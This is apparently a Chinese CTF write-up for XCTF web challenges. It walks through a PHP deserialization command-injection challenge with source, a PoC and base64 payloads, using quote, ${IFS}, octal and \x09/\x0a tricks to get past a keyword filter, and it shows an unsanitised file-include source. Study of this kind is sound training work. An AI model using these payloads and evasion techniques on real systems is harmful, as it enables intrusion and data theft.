攻防世界WEB篇


攻防世界WEB篇

新手练习

unseping

源码分析

<?php
highlight_file(__FILE__);  //高亮显示源代码 __FILE__ 魔术方法,总是包含一个绝对路径

class ease&#123;  //定义一个类 ease
    
    private $method; //内部私有函数
    private $args;
    
    //__construct()为构造函数,主要用于创建对象时,为对象赋初值,当使用new实例化,会自动调用
    function __construct($method, $args) &#123;
        $this->method = $method;
        $this->args = $args;
    &#125;
 
    //__destruct()为析构函数,与构造函数__construct()相反,析构函数只有在对象从内存删除之前自动调用(比如对象所在的函数已经调用完毕)
    //当对象结束时触发该函数
    function __destruct()&#123;
        
        //in_array()函数搜索数组中是否存在指定的值
        //意思是用array创建数组,如果传入的数组中第一个参数method为ping,则执行下面的函数
        if (in_array($this->method, array("ping"))) &#123;
            //call_user_func_array把第一个参数作为回调函数(callback)调用,把参数数组(param_arr)作为回调函数的参数传入
            call_user_func_array(array($this, $this->method), $this->args);
        &#125;
    &#125; 
     
    function ping($ip)&#123;
        //执行传入的参数,与system()类似,但不输出结果,而是返回结果的最后一行,用第二个参数array可以得到完整的结果
        exec($ip, $result);
        //返回结果的值和类型,var_dump()函数用于输出变化量的相关信息
        var_dump($result);
    &#125;
    
    function waf($str)&#123;
        //preg_match_all函数用于执行一个全局正则表达式匹配
        //过滤了很多特殊符号,关键词
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) &#123;
            return $str;
        &#125; else &#123;
            echo "don't hack";
        &#125;
    &#125;
     
    //魔术方法,将在序列化之后立即被调用
    function __wakeup()&#123;
        //foreach遍历数组
        //两种方法 foreach (array_expression as $value)
           //foreach (array_expression as $key => $value)
        //将键名赋值给$k
        foreach($this->args as $k => $v) &#123;
            //将传入的数组放进waf函数中进行过滤
            $this->args[$k] = $this->waf($v);
        &#125;
    &#125;   
&#125;

//传入post参数
//@可以屏蔽函数执行过程中遇到问题而产生的错误、警告信息,这样用户就看不到程序出错信息
$ctf=@$_POST['ctf'];

//先进行base64解码再进行反序列化
@unserialize(base64_decode($ctf));
?>

poc编写

<?php
class ease&#123;

    private $method;
    private $args;
    function __construct($method, $args)&#123;
        $this->method = $method;
        $this->args = $args;
    &#125; 
&#125;
//第二个参数为执行的命令,需要过滤
$a = new ease("ping",array('whoami'));
$b = serialize($a);
echo $b;
echo '<br />';
echo base64_encode($b);
?>

构造payload

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJ3aG9hbWkiO319

放入post执行命令

image-20221122154657458

绕过

黑名单绕过

我们看到过滤的关键词

/(\||&|;| |\/|cat|flag|tac|php|ls)/

因为没有;所以无法用拼接

可以利用单引号双引号还有反斜杠绕过,比如

l''s
l""s
l\s

就用单引号为例,传入参数

$a = new ease("ping",array("l''s"));

生成的payload是

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ

看一下结果

image-20221122164344307

我们发现了一个flag_1s_here不知道是文件还是文件夹的,试一试

空格绕过

空格也被过滤掉了,绕过方式有

${IFS} 
$IFS$9
< 符号<>
\x0a 换行符 %0a

做一下测试,构造命令

$a = new ease("ping",array('l""s$&#123;IFS&#125;f""lag_1s_here'));

得到payload

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ

发现这个文件夹内有flag_831b69012c67b35f.php

image-20221123145622307

接下来就是要解决查看这个的问题了

oct进制绕过

可以通过8进制来进行绕过

ls命令
$(printf "\154\163")

我们需要构造的命令参数是

$(printf "cat flag_1s_here/flag_831b69012c67b35f.php")

用python脚本来转换文本

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr= []
for i in str1:
    print(i)
    test=oct(ord(i))
    test=str(test).replace('0o',"")
    arr.append(test)
print(arr)
b="\\"
c=b.join(arr)
print(c)

得到8进制数据

143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

构造命令参数

$a = new ease("ping",array('$(printf$&#123;IFS&#125;"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));

得到payload

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

最终得到flagcyberpeace{68b063dd26617895262c6bc1b45b588c}

image-20221123153254736

hex进制绕过

还有另外一种绕过方法,因为不能用;所以可以用\x09\x0a来做命令的拼接

比如查看flag_1s_here文件夹

$a = new ease("ping",array("cd\x09f\lag_1s_here\x0al\s"));

\x09用在语句中间,\x0a用在语句末尾的截断

构造出payload

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMDoiY2QJZlxsYWdfMXNfaGVyZQpsXHMiO319

image-20221123154809947

现在构造读取flag命令参数

$a = new ease("ping",array("cd\x09f\lag_1s_here\x0ac\at\x09f\lag_831b69012c67b35f.p\hp"));

得到payload

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OToiY2QJZlxsYWdfMXNfaGVyZQpjXGF0CWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0

拿到flag

image-20221123155039337

file_include

源码分析

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename']))&#123;
        $filename  = $_GET['filename'];
        include($filename);
    &#125;
?>

文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录